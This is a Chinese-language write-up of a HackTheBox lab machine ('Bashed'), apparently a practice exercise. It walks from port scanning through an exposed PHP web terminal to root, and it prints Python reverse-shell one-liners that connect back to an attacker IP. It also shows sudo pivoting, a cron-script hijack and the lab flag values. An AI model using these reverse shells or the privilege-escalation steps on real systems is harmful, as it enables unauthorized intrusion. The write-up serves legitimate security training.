HTB Bashed 渗透测试详细记录
摘要
本文详细记录了对 HTB Bashed 的完整渗透测试过程。通过初始侦察发现目标只开放了80端口的HTTP服务,进一步探测发现了一个可直接执行代码的PHP终端。利用这一入口点获取了初始shell权限,随后通过发现的定时任务执行脚本成功提升至root权限。整个渗透过程展示了从发现、利用到提权的完整攻击链路。
关键技术
- Web应用漏洞利用 (PHP远程代码执行)
- 提权 (定时任务利用)
1. 初始侦察阶段
首先使用Nmap进行全端口扫描,确定目标开放的服务:
nmap -sT -min-rate 10000 -p- 10.10.10.68
参数说明:
-sT
: 使用TCP连接扫描,建立完整的三次握手-min-rate 10000
: 设置扫描速率不低于每秒10000个包,加快扫描速度-p-
: 扫描所有端口范围(1-65535)10.10.10.68
: 目标IP地址
扫描结果显示只有80端口开放:
PORT STATE SERVICE
80/tcp open http
随后对80端口进行更详细的服务版本探测:
nmap -sT -sCV -p 80 10.10.10.68
参数说明:
-sT
: TCP连接扫描-sCV
: 组合参数,包含-sC
(使用默认脚本)和-sV
(版本探测)-p 80
: 仅扫描80端口10.10.10.68
: 目标IP地址
扫描结果:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.85 seconds
2. 服务探测与信息收集
基于前期扫描结果,对HTTP服务进行进一步的目录遍历,寻找可能存在的隐藏资源:
feroxbuster -u http://10.10.10.68/ --methods GET,POST
参数说明:
-u http://10.10.10.68/
: 指定目标URL--methods GET,POST
: 指定使用GET和POST方法进行检测
通过目录遍历,发现了一个关键入口点:http://10.10.10.68/dev/phpbash.min.php
,这是一个可以直接在网页上执行代码的PHP终端。
3. 漏洞识别与初始访问
发现该PHP终端可以执行系统命令,构造反弹Shell payload以获取交互式shell。首先在本地攻击机器上设置监听:
nc -lvnp 9999
参数说明:
-l
: 设置为监听模式-v
: 显示详细信息-n
: 不进行DNS解析-p 9999
: 监听9999端口
在PHP终端执行Python反弹Shell代码:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.26",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
此代码创建了一个socket连接到攻击者机器的9999端口,并将标准输入/输出/错误重定向到这个连接,最后启动交互式shell。
成功获取到目标主机的shell:
listening on [any] 9999 ...
connect to [10.10.16.26] from (UNKNOWN) [10.10.10.68] 48456
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
4. 横向移动
成功获取初始shell后,开始收集系统信息并寻找可能的横向移动路径。首先检查当前用户权限:
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
成功getkey1
$ ls
arrexel
scriptmanager
$ cd arrexel
$ ls
user.txt
$ cat user.txt
a4db45112116c5557e631bd9810a09e3
5. 权限提升前的信息收集
检查当前用户的sudo权限:
sudo -l
执行结果:
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
输出显示www-data有权限以"scriptmanager"用户的身份运行命令,"NOPASSWD: ALL"表示www-data可以不需要输入密码就能以scriptmanager身份运行任何命令。
利用这一特权进行用户切换:
sudo -u scriptmanager /bin/bash
优化获取到的shell,提升交互体验:
script /dev/null -c bash
检查系统内核版本
uname -a
Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
经检查,该内核版本不存在脏牛(Dirty COW)提权漏洞。
浏览系统根目录,发现特殊目录:
ls -al
输出结果(部分):
total 92
drwxr-xr-x 23 root root 4096 Jun 2 2022 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw------- 1 root root 174 Jun 14 2022 .bash_history
drwxr-xr-x 2 root root 4096 Jun 2 2022 bin
drwxr-xr-x 3 root root 4096 Jun 2 2022 boot
drwxr-xr-x 19 root root 4140 Apr 27 05:30 dev
drwxr-xr-x 89 root root 4096 Jun 2 2022 etc
drwxr-xr-x 4 root root 4096 Dec 4 2017 home
lrwxrwxrwx 1 root root 32 Dec 4 2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x 19 root root 4096 Dec 4 2017 lib
drwxr-xr-x 2 root root 4096 Jun 2 2022 lib64
drwx------ 2 root root 16384 Dec 4 2017 lost+found
drwxr-xr-x 4 root root 4096 Dec 4 2017 media
drwxr-xr-x 2 root root 4096 Jun 2 2022 mnt
drwxr-xr-x 2 root root 4096 Dec 4 2017 opt
dr-xr-xr-x 175 root root 0 Apr 27 05:30 proc
drwx------ 3 root root 4096 Apr 27 05:32 root
drwxr-xr-x 18 root root 520 Apr 27 06:25 run
drwxr-xr-x 2 root root 4096 Dec 4 2017 sbin
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 scripts
drwxr-xr-x 2 root root 4096 Feb 15 2017 srv
dr-xr-xr-x 13 root root 0 Apr 27 05:30 sys
drwxrwxrwt 10 root root 4096 Apr 27 10:50 tmp
drwxr-xr-x 10 root root 4096 Dec 4 2017 usr
drwxr-xr-x 12 root root 4096 Jun 2 2022 var
lrwxrwxrwx 1 root root 29 Dec 4 2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic
注意到存在一个由scriptmanager用户所有的scripts目录
6. 权限提升
进入scripts目录检查内容:
cd scripts
ls -al
输出结果:
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Apr 27 10:51 test.txt
发现关键信息:text.txt的文件时间很新,而且还是root权限,可能是某种周期任务生成的
查看test.py脚本内容:
cat test.py
输出结果:
f = open("test.txt", "w")
f.write("testing 123!")
f.close
分析发现,test.txt是由test.py生成的,而生成的文件拥有root权限,这表明系统中存在定时任务以root身份周期性执行test.py脚本。
由于当前用户(scriptmanager)对test.py有修改权限,可以修改脚本内容来获取root权限。替换test.py的内容为反弹shell代码:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.26",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
在本地攻击机器设置新的监听:
nc -lvnp 8888
等待定时任务执行修改后的脚本,成功获取root权限shell:
connect to [10.10.16.26] from (UNKNOWN) [10.10.10.68] 50278
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
获取root权限后,读取最终目标文件:
# cat /root/root.txt
668ee4c37ea62443a557eedaea6bf212
7. 总结
安全漏洞列表
- 不安全的Web配置 - 在开发目录中暴露了具有代码执行功能的PHP终端
- 不当的权限配置 - www-data用户被允许无密码执行scriptmanager用户的命令
- 不安全的定时任务实现 - root用户定时执行一个低权限用户可修改的脚本
完整攻击链路图
端口扫描 → 发现Web服务 → 目录遍历 → 发现PHP终端 → 远程代码执行获取www-data权限 → 利用sudo权限提升至scriptmanager → 发现并修改定时执行的脚本 → 获取root权限
各阶段关键点总结
- 侦察阶段:通过Nmap确定开放端口和服务,仅发现80端口HTTP服务。
- 信息收集:使用Feroxbuster对Web目录进行枚举,发现关键入口点phpbash.min.php。
- 初始访问:利用PHP终端执行反弹Shell代码,获取www-data用户权限。
- 权限提升:
- 第一阶段:利用sudo配置从www-data提升至scriptmanager用户。
- 第二阶段:通过修改root定时任务执行的脚本获取最高权限。
攻击向量简明展示
- 初始入口点:
http://10.10.10.68/dev/phpbash.min.php
- 提权路径:
- www-data → scriptmanager:
sudo -u scriptmanager /bin/bash
- scriptmanager → root:修改定时执行脚本
/scripts/test.py
- www-data → scriptmanager:
结束语
此次打靶练习展示了我是如何通过一系列连贯的步骤,从发现web应用漏洞到最终获取系统root权限
Comments NOTHING